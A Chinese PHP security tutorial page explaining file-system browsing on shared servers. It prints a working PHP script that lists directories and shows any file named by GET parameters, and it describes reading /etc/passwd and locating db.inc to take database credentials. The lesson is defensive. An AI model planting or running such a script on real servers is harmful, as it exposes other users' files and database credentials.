PHP安全-文件系统浏览-php教程-PHP中文网

PHP安全-文件系统浏览

黄舟

发布： 2017-02-20 09:30:08

原创

1089人浏览过

文件系统浏览

除了能在共享服务器上读取任意文件之外，攻击者还能建立一个可以浏览文件系统的脚本。由于你的大多数敏感文件不会保存在网站主目录下，此类脚本一般用于找到你的源文件的所在位置。请看下例：

 <pre class="brush:php;toolbar:false;">
 
  <?php
 
  if (isset($_GET['dir']))
  {
    ls($_GET['dir']);
  }
  elseif (isset($_GET['file']))
  {
    cat($_GET['file']);
  }
  else
  {
    ls('/');
  }
 
  function cat($file)
  {
    echo htmlentities(file_get_contents($file),
ENT_QUOTES, 'UTF-8'));
  }
 
  function ls($dir)
  {
    $handle = dir($dir);
 
    while ($filename = $handle->read())
    {
      $size = filesize("$dir$filename");
 
      if (is_dir("$dir$filename"))
      {
        $type = 'dir';
        $filename .= '/';
      }
      else
      {
        $type = 'file';
      }
 
      if (is_readable("$dir$filename"))
      {
        $line = str_pad($size, 15);
        $line .= "<a
href=\"{$_SERVER['PHP_SELF']}";
        $line .=
"?$type=$dir$filename\">$filename</a>";
      }
      else
      {
        $line = str_pad($size, 15);
        $line .= $filename;
      }
 
      echo "$line\n";
    }
 
    $handle->close();
  }
 
  ?>

登录后复制

立即学习“PHP免费学习笔记（深入）”；

佳弗O2O系统

佳弗O2O网站系统——乐活版环境需求 1. 可用的 www 服务器，如 Apache、Zeus、IIS 等 2. php 4.3.0 及以上 3. Zend Optimizer 2.5.7 及以上 4. MySQL 3.23 及以上，仅针对 MySQL 版安装 1.安装按照提示流程一步一步安装 2.安装过后如果出现错误，请删除 ./Runtime文件夹 3.如果打开首页点击导航出现4

查看详情

攻击者可能会首先察看/etc/passwd文件或/home目录以取得该服务器上的用户名清单；可以通过语言的结构如include或require来发现保存在网站主目录以外的源文件所在位置。例如，考虑一下下面的脚本文件/home/victim/public_html/admin.php：

  <?php
 
  include '../inc/db.inc';
 
  /* ... */
 
  ?>

登录后复制

立即学习“PHP免费学习笔记（深入）”；

如果攻击者设法显示了该文件的源码，就可以发现db.inc的所在位置，同时他可以使用readfile()函数来使其内容暴露，取得了数据库的访问权限。这样，在这个环境中保存db.inc于网站主目录之外的做法并未起到保护作用。

这一攻击说明了为什么要把共享服务器上的所有源文件看成是公开的，并要选择数据库实现所有敏感数据的保存。

以上就是PHP安全-文件系统浏览的内容，更多相关内容请关注PHP中文网（www.php.cn）！

立即学习“PHP免费学习笔记（深入）”；

大家都在看：

php怎么输出二维关联数组_php二维关联数组输出循环嵌套echo法【技巧】 php数组通过自定义数量_php控制数组大小方法教程【指南】 php怎么循环往数组里面存值_PHP循环向数组添加数值操作 php怎么判断是否是二维数组_PHP判断是否为二维数组方法 php数组元素平均值怎么算_php数组元素平均值计算与统计技巧